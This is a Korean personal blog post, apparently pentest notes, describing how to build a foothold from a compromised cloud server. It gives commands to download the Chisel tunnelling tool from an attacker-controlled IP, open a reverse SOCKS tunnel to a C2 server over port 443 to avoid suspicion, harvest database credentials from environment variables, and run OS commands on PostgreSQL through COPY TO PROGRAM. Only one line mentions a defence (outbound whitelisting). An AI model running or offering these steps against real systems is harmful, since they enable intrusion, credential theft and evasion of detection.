의미없는 블로그
Chisel 로 C2 서버 터널링 수행 (거점 확보) 본문
아웃바운드 열려있는 서버들이 있다
- 패키지 설치가 필요해서
- 외부 API 서버랑 통신 필요해서
- 기타 등등 이유 모르겠음
Chisel 이라고 TCP 터널링 도구인데
아웃바운드 열려있는 서버에서
Chisel 클라이언트 다운 받아서 설치하고
공격자 외부 서버에 Chisel 서버 구축해서
터널링 맺을 수 있음
| #curl 123.123.123.123/chisel -o chisel chisel 폴더에 chisel 클라이언트 다운로드 (from 공격자 외부 서버) #chmod +x chisel 실행권한 부여 #./chisel client 123.123.123.123:443 R:socks 공격자 외부 서버로 터널링 연결 EC2 → 443 포트 → C2 서버 이렇게 가게됨 (의심 회피) |
아웃바운드도 제한해야 한다
허용할 도메인/IP만 화이트리스트로
+ 이후에 DB 크리덴셜 탈취 과정
환경변수에 들어있는 DB 접속 정보 획득함 (DB 서버 IP, 계정, DB 이름 등)
| #export 전체 환경 변수 확인 #export | grep -i mageai Mage AI 관련 환경 변수 확인 #export | grep -i db DB 접속 정보 |
proxychains 라고 말 그대로 프록시인데
걍 psql -h ... 하면 자기 서버(C2) 에서 직접 연결 시도하니까
proxychains 를 붙여서 트래픽 방향을 바꿔줌
| #proxychains psql -h [DB 서버 IP] -U [계정] -d [접속할 DB 이름] |
copy to program (superuser 권한일때)
postgreSQL 에서 쿼리 결과를 OS 명령어로 전달하는 기능
| postgres=# copy (select * from users) to program 'cat > /tmp/users.csv'; 하면 select * from users 쿼리 결과를 users.csv 파일로 저장 postgres=# copy (select '') to program '(whoami&&hostname -i) > /tmp/result'; 공격자가 원하는 명령어 날려서 악용할 수 있음 postgres=# select pg_read_file('/tmp/result'); pg_read_file 는 postgreSQL 내장 함수 서버 파일을 SQL 로 읽을 수 있다 왜 proxychain cat /tmp/result 는 안되나면 proxychain 은 네트워크 연결을 프록시로 우회시키는 툴이라서 (네트워크 관련 libc 함수를 가로채는 형식) cat 같은건 안된다 |
'# 나 > pentest' 카테고리의 다른 글
| S3 에서의 파일 업로드 / 다운로드 취약점 (0) | 2026.03.05 |
|---|---|
| PACU - AWS bruteforcing (0) | 2026.02.26 |
| Redis 서버 보안 정책 (0) | 2026.02.26 |
| IMDSv1 - AWS IAM 크리덴셜 탈취 (0) | 2026.02.25 |
| HTTPS, POST 쓰는데 왜 카드번호 마스킹해서 보내야 하냐 (0) | 2025.06.19 |
Comments